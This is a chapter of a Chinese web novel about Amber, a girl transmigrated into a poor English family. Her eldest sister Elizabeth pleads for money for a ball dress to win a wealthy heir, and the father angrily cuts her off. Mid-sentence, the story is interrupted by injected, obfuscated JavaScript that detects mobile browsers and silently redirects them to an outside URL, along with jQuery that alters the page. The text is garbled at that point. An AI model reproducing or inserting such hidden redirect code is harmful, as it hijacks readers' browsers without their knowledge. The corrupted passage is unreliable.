安珀赶紧瞧了一眼主菜——
果不其然，是炖得稀烂的鳗鱼。
默西塞德郡西临爱尔兰海，捕渔业极为发达，威尔逊家的餐桌上常年都有鱼。
可惜，玛利亚太太的厨艺实在难以恭维。对于安珀这种拥有敏锐五感的人来说，更加是一种折磨。
鳗鱼要是知晓会被炖煮成这般模样，恐怕也会觉得自己白白牺牲了吧，安珀在心里吐槽道。
一切准备妥当，玛利亚太太便打算去喊丈夫下楼用餐。
“难得有机会去集市，妈妈难道不想买点什么吗？”伊丽莎白佯装不经意地继续着方才的话题。
若到了此刻，玛利亚太太还听不出大女儿的弦外之音，那她也枉为五个孩子的母亲了。
“你又在盘算些什么，伊丽莎白？”玛利亚太太一脸无奈，眼中却满是宠溺。
伊丽莎白见计谋被戳穿，调皮地耸了耸肩：“真是什么都瞒不过您的眼睛……好吧，其实我是想问……您能再给我五镑买一条新裙子当作圣诞礼物吗？”
“什么？五镑？什么样的裙子如此昂贵？”玛利亚太太忍不住惊呼出声。
刚从厨房走进餐厅的双胞胎，听闻此言，忍不住竖起耳朵偷听。
玛利亚太太面露难色，却只是委婉劝道：“我的意思是，这当然不行。上个月你已经提前支取了你的圣诞礼物，剩下的钱我还打算给科琳、安珀、小艾米和小贝拉准备些礼物呢。”
“可是妈妈，我真的非常需要这条裙子！”伊丽莎白仍不肯轻易放弃。
“听着，伊丽莎白，你的妹妹们同样也需要圣诞礼物。”玛利亚太太再次驳回了大女儿的请求。
“但事情总归有轻重缓急，不是吗？”伊丽莎白站起身，亲昵地攀在玛利亚太太的肩膀上撒娇——这是她惯用的小伎俩。
双胞胎中的姐姐艾米丽见状，忍不住扶额。
眼见玛利亚太太软硬不吃，伊丽莎白这才缓缓道出自己的目的：“理查德先生从学校回来了，他约我参加圣诞舞会，可我连一件像样的礼服都没有……”
玛利亚太太先是惊讶，随即转为欣喜：“理查德先生？赫伯夫人的独子？难道他对你……”
伊丽莎白垂着头轻声应是，脸上浮现出独属少女的羞涩。
要知道理查德先生可是赫伯庄园唯一的继承人，不但有钱，长得还十分帅气，是小镇上所有女孩梦寐以求的金龟婿。
在圣诞舞会这么重要的日子，他却独独约了自己……
想到这儿，伊丽莎白的呼吸都不由加重了几分，她忍不住幻想起自己成为赫伯庄园女主人后的生活。
伊丽莎白一脸郑重地开口：“妈妈，这可是我改变命运的绝佳机会！”
伊丽莎白的话并非无的放矢。
戈恩小镇上下仅有两千人口，其中大多还是佃户，自然没有所谓的“社交季”。赫伯夫人举办的晚宴，便是平民女孩所能接触到的最高等级的社交场合，说白了就和相亲宴会差不多。
新年一过，自己就满十七岁了，到了相看的年纪。母亲是个一心扑在柴米油盐上的家庭主妇，生活除了生养孩子、伺候家人，再无其他社交。平日里最宠她的父亲，也从不为她的终身大事操心，仿佛这事与他毫无关系。
这让伊丽莎白十分郁闷。
她清楚，以自己的出身，大概率会嫁给像父亲一样的小职员，婚后生养一堆孩子，像母亲那样操持家务，一家人挤在一座小房子里，吵吵闹闹地过完一辈子。
如果自己非常平庸倒也罢了，偏偏生得如此貌美。
她绝不想过这样的日子！
绝不！
伊丽莎白眼里的野心一闪而过。
她明白，自己若再不主动，终身大事恐怕就真被耽误了。
所以，每逢理查德放假回家，她都会绞尽脑汁和他搭讪。
最终成功吸引了对方的注意。
伊丽莎白的话仿佛一道光，瞬间点醒了玛利亚太太，她对此深表赞同。可两家过于悬殊的家境，又让她犹豫不决。
“妈妈，那我们的圣诞礼物怎么办？”眼见玛利亚太太有些动摇，艾米丽抢先一步打断了她，还偷偷向妹妹使了个眼色。
双胞胎之间的默契让贝拉心领神会，她立马可怜巴巴地看向母亲，满心希望她千万别同意这么无理的请求。
“这是为了成功所付出的必需支出！”伊丽莎白没好气地说：“妈妈，您可一定要帮帮我！我绝对不能在那天出丑！”
尖锐的争执声成功吸引了安珀的注意，她的注意力从那令人难以下咽的炖鳗鱼上转移开来。
伊丽莎白如何择偶她不管，用什么方式她也不管，但在经济条件有限的情况下，对方这种侵占姐妹利益的自私做法，她不能苟同。而且玛利亚太太这般偏心的行为，在她穿来之前，四姐妹就已经遭受过多次了。
安珀忍不住想要发言，却被另一道声音突然打断。
“妈妈——”
门外走进来一个与伊丽莎白年龄相仿的少女。
她与四姐妹有五分相似，脸上零星分布着几片小雀斑，常年的劳作使得她的肤色略显黝黑。为了干活方便，她把头发剪得像个男孩一般短，那是与安珀如出一辙的金棕色。
“妈妈，我需要一副厚手套方便干活，这可是您早就答应过我的！”
来人正是二姐科琳。
双胞胎在心里暗自欢呼，安珀也不禁松了口气。
“哦，确实是这样……我之前答应过你。”玛利亚太太陷入了两难的境地，嗫嚅着看向大女儿。
伊丽莎白拉长了语调，满是祈求地嚷道：“妈——妈——您也不希望我在那天穿着破旧的裙子出现，被别的女孩嘲笑，从而失去理查德的青睐吧！
“要是我能成为赫伯庄园的新女主人，妹妹们未来的结婚对象层次也就完全不一样了。这难道不比一个小小的圣诞礼物重要得多吗？”
伊丽莎白蛊惑性的言语像一剂强心针，让玛利亚太太心中的天平开始慢慢倾斜。
虽说她平日里没怎么帮女儿们张罗婚事，但这并不代表她不希望女儿们能觅得良人，尤其是她最疼爱的伊丽莎白。
玛利亚太太先是安抚了一下闹腾的女儿们，随后一脸郑重地宣布：“我的孩子们，这可真是一件大事，我必须得和你们的爸爸好好商议！”
伊丽莎白一听这话，心里明白
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542042|171019||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
事情已经成了一大半。她有些激动地畅想着未来，仿佛自己已经成功入主赫伯庄园了。
趁着玛利亚太太离开的功夫，艾米丽忍不住抱怨：“伊丽莎白，你每次都这样，这实在是太过分了！”
贝拉也连忙点头附和：“没错。”
伊丽莎白也懒得再伪装自己，她一脸不耐地对妹妹们说道：“小鬼们，你们才八岁，需要打扮吗？相比之下，当然还是我嫁入赫伯家族更为重要啦！”
姐妹俩被怼的哑口无言，忍不住暗暗叫屈，为什么伶牙俐齿的伊丽莎白偏偏是她们的姐姐？
恰在此时，一家之主威尔逊先生来到了餐桌主位缓缓坐下。
只要瞧上威尔逊先生一眼，便能明白姐妹们颜值上的缺陷究竟是遗传自谁了——
詹姆·威尔逊先生，年逾四十，中等身高（甚至还不如玛利亚），人到中年的他头发稀疏，有谢顶的趋势，是典型的日耳曼人。不过威尔逊先生虽然称不上帅气，气质却不凡，不笑的时候，有种不怒自威的气势。尤其是与连年生育、饱经沧桑的妻子玛利亚相比，他身上有一种与这简陋餐厅格格不入的英伦绅士感。
姑娘们对这个父亲还是有些畏惧的，见他来了，很快便安静了下来。
“大清早在吵些什么呢？”威尔逊先生皱着眉头问道。
“只是姐妹之间的一点小矛盾罢了。”玛利亚太太面带微笑，赶忙为大女儿遮掩过去。
“可以用餐了，孩子们，让我们祷告吧。”
众人闻言，齐齐闭上眼睛，双手交握置于额前，口中念念有词：“恩主耶稣基督我们感谢你！感谢你赐给我们的饮食，使我们身体健康，也求你赐下灵粮，使我们灵命成长。让我们为你做见证，荣耀你的名。我们如此感谢，奉主圣名。阿门！”
祷告结束，一家人正式开始用餐。
伊丽莎白全程如热锅上的蚂蚁，坐立不安地朝玛利亚太太使眼色。
安珀看到这一幕，心里不禁为伊丽莎白的莽撞捏了把汗。
其实刚穿来的时候，她就对全体家庭成员做过一番细致的分析。
在原身的记忆里，威尔逊先生是个不苟言笑的人，唯独对大姐还算和蔼。对此，安珀不置可否。在她看来，“苛刻、冷漠”才是威尔逊先生的底色，所以她压根不觉得此番伊丽莎白能得偿所愿。
玛利亚太太把事情的来龙去脉简单地向威尔逊先生交代了一遍，随后向大女儿投去鼓励的眼神。
她本就不打算动用给女儿们准备礼物的那笔钱，如今只能寄希望于威尔逊先生的慷慨。
伊丽莎白接收到母亲的暗示，鼓足勇气对威尔逊先生说：“爸爸，我想要一条约会用的裙子……这大概需要五磅的支出……或许这确实非常昂贵，但是所有的付出都是值得的……”
当威尔逊先生听到伊丽莎白的约会对象是赫伯家族的少爷时，原本平静的面容瞬间阴沉了下来。
可伊丽莎白却越说越激动，越说越连贯，丝毫没有察觉到威尔逊先生的脸色越来越难看。
“够了！”威尔逊先生厉声打断了女儿的请求。
伊丽莎白被这突如其来的呵斥吓了一跳，手足无措地愣在那里。